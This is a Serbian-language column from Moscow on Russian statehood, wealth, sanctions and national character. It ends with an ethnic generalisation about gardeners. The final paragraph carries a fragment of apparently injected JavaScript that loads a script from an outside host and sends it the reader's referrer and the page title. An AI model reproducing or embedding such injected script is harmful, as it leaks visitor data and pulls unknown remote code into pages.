POZDRAV IZ MOSKVE: Dobar dan, bedžu!

POZDRAV IZ MOSKVE: Dobar dan, bedžu!


Piše: Aleksandar Crkvenjakov

Kakva je pa to tuđina, ako se piše iz Moskve? Takva da, uprkos srodnom jeziku i romantičarskim idejama o posebnim odnosima, malo šta drugo u Rusiji ostavlja familijaran utisak. Ukratko – veliko je i funkcioniše; dok smo mi, nekako, navikli na malo i improvizovano…

U Rusiji ništa nije ni započeto, ni završeno “prvi put u modernoj istoriji”, sve je deo velike istorijske matrice koja se prostire vekovima. Svaki doprinos je poštovan. I dalje su crvene petokrake na kremaljskim tornjevima tik do carskih zlatnih orlova, i dalje se poliraju spomen ploče na zgradama u Tverskoj ulici – u spomen na prethodnike koji su tu živeli i radili, od popularnog klovna u državnom cirkusu, preko admirala flote i konstruktora helikoptera, do Lenjina. Uostalom, sve i da hoće – Putin je i suviše dugo na vlasti da bi bilo uverljivo “vađenje” na tužan učinak prethodnika.

Rezultat je država koju možeš da voliš ili ne voliš; koju doživljavaš lakom ili teškom; ali država koja funkcioniše, koja ne opisuje probleme već ih rešava…

Ne znam šta o njima intimno misle, ali Rusi redom poštuju državu i institucije. Nikada nisam video nekoga da se svađa sa saobraćajcem. Stoički trpe bezbrojne eskorte predstavnika državne birokratije, dok pod sirenama i plavim svetlima iznuđuju prolaz kroz zakrčene ulice. Kao anegdotu pričam o prilici da suprugu na Šeremetjevu dočekam na vratima aviona, okićen bedžom-propusnicom s napisom “Administracija predsednika RF”… Svaki Rus je, izlazeći, uredno poželeo dobar dan – očigledno ne meni, nego bedžu.

Naravno, nije do kraja iščileo duh prethodnog sistema. Javno – preduzetnički… Neko je, u duhu Iljfa i Petrova, “ideje naše, benzin vaš” rešio da centar Moskve premreži dvosmernim biciklističkim stazama. “Benzin” je došao iz gradskih fondova (moskovski gradski budžet veći je od budžeta države Austrije), pa sada, nakon tromesečne temeljne rekonstrukcije istorijskog jezgra Moskve, preostaje još samo da se “Moskviči”, nekako, ubede da, u datim klimatskim uslovima, nabave bicikle. Slika druga, privatno – preduzetnička….

Ali, to su samo marginalije prouzrokovane inercijom mentaliteta. Zemlja tvrdog socijalizma transformisala se u zemlju tvrdog kapitalizma. Svake subote pretežni sadržaj dnevnika “Komersant” su saopštenja o bankrotima. S druge strane, ko je našao mesto na tržištu, zatekao ga je raskošnog – u zemlji velikih resursa i mogućnosti su odgovarajuće. Retke su zemlje u kojima na ulici možete videti parkiranog, prljavog i prašnjavog “Bentlija”. Ovde je to moguće, jer je još uvek lakše promeniti hiperluksuzni auto nego stan i “ofis” bez garaže. U kuli “Moskva sitija” upravo, i uprkos krizi, iznajmljuju poslovni prostor počev od 350 evra, i prodaju stanove počev od 8000 evra po kvadratu. Zabavlja vas kada, usred embarga, zapazite južno i egzotično voće s nalepnicom Beorusije, ali više od te snalažljivosti impresionira poslovna efikasnost s kojom je zabranu uvoza hrane iz EU dočekala istorijski “najtanja” grana ruske industrije – široka potrošnja. Malo vremena je trebalo da se rafovi popune mlečnim i mesnim proizvodima lokalne proizvodnje. Možda nisu od one najsofisticiranije vrste, ali možda nije takav ni ukus potrošača.

Mada ih politika nekako uvek stavlja na suprotne polove – meni su Rusi i Amerikanci jako slični. Svesni su pripadnosti državi koja može biti i samodovoljni kontinent; navikli su na masovno i veliko; spremni su da, u gužvi, disciplinovano stanu u red; jako je naglašen osećaj za patriotizam i kolektivizam, a opet su ljudi dovoljno elastični da tolerišu individualce koji bi da budu van te matrice. Na kraju i različitost: američki baštovani po pravilu imaju tamne oči i govore španski; dok ruski imaju kose oči i govore neki od srednjoazijskih jezika.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar